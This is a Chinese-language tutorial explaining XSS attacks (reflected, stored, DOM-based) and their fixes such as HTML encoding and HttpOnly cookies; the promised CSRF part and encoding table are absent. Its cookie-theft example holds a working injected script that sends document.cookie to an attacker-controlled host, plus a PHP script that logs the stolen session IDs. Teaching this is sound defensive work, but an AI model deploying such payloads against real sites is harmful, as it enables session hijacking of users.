Xss和Csrf介紹
Xss和Csrf介紹
Xss
Xss(跨站腳本攻擊),全稱Cross Site Scripting,惡意攻擊者向web頁面中植入惡意js代碼,當用戶瀏覽到該頁時,植入的代碼被執行,達到惡意攻擊用戶的目的。
Xss攻擊的危害
- 盜取各類用戶賬號
- 竊取有商業價值的資料
- 非法轉賬操作
- 強制發送電子郵件
- 控制受害者機器向其它網站發起攻擊
- 等等...
原因分析
原因:沒有對客戶端提交的數據進行校驗分析,導致惡意代碼被植入。
根本解決:不要相信任何客戶端提交的任何數據!!!
Xss攻擊的分類
- 反射型Xss攻擊
- 存貯型Xss攻擊
- DOMBasedXSS
反射型Xss攻擊
又稱為非持久性跨站點腳本攻擊
正常發送消息:
http://www.test.com/message.php?send=Hello,World!
接收者將會接收信息並顯示Hello,Word
非正常發送消息:
http://www.test.com/message.php?send=<script>alert("foolish!")</script>
接收者接收消息顯示的時候將會彈出警告窗口。
存貯型xss攻擊
又稱持久性Xss攻擊,存貯型Xss的攻擊代碼一般存儲在網站的數據庫中,每當用戶打開網站時被執行,因此危害更大。
舉個栗子:
一個簡單的留言板功能,表單提交域如下,
<input type="text" name="content" value="這裏是用戶填寫的數據">
攻擊者在value填寫
<script>alert('foolish!')</script>
【或者html其他標簽(破壞樣式。。。)、一段攻擊型代碼】,這些代碼便被提交到了數據庫中,其他用戶取出數據顯示的時候,將會執行這些攻擊性代碼。
DOMBasedXSS(基於Dom的跨站點腳本攻擊)
當用戶能夠通過交互修改瀏覽器頁面中的DOM(DocumentObjectModel)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。
前提是易受攻擊的網站有一個HTML頁面采用不安全的方式從document.location或document.URL或document.referrer獲取數據(或者任何其他攻擊者可以修改的對象),所以應該避免直接從document.location或document.URL或document.referrer獲取數據。
舉個栗子:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
使用Xss攻擊來盜取cookie
1、網站所在域名為www.test88.com、攻擊者控制的主機www.linuxtest.com
2、test88.com中的表單,xss.html:
<!DOCTYPE html>
<html>
<head>
<title>xss攻擊</title>
<meta charset="utf-8">
</head>
<body>
<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言記錄:<br/>
</body>
</html>
3、惡意攻擊者提交表單時,插入相應代碼:
<script>
var Str=document.cookie; //獲取cookie
var a =document.createElement('a'); //創建a標簽
a.href='http://www.linuxtest.com/test2.php?'+Str; //攻擊者主機
a.innerHTML="<img src='./aa.jpg'>"; //掩護圖片
document.body.appendChild(a); //將標簽添加到頁面中
</script>
4、數據(攻擊代碼)插入數據庫
5、攻擊者控制的主機中設置接收盜取的cookie:
<?php
header("content-type:text/html;charset=utf8");
echo "你的PHPSESSID被盜啦";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt', $cookie);
?>
Xss漏洞的修復
- HTML Encode
- 將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了
- 規定表單數據值的類型,比如年齡int、姓名int+string
- 過濾或移除特殊的Html標簽
- 過濾JavaScript 事件的標簽
HTML Encode對應關系表:
Xss和Csrf介紹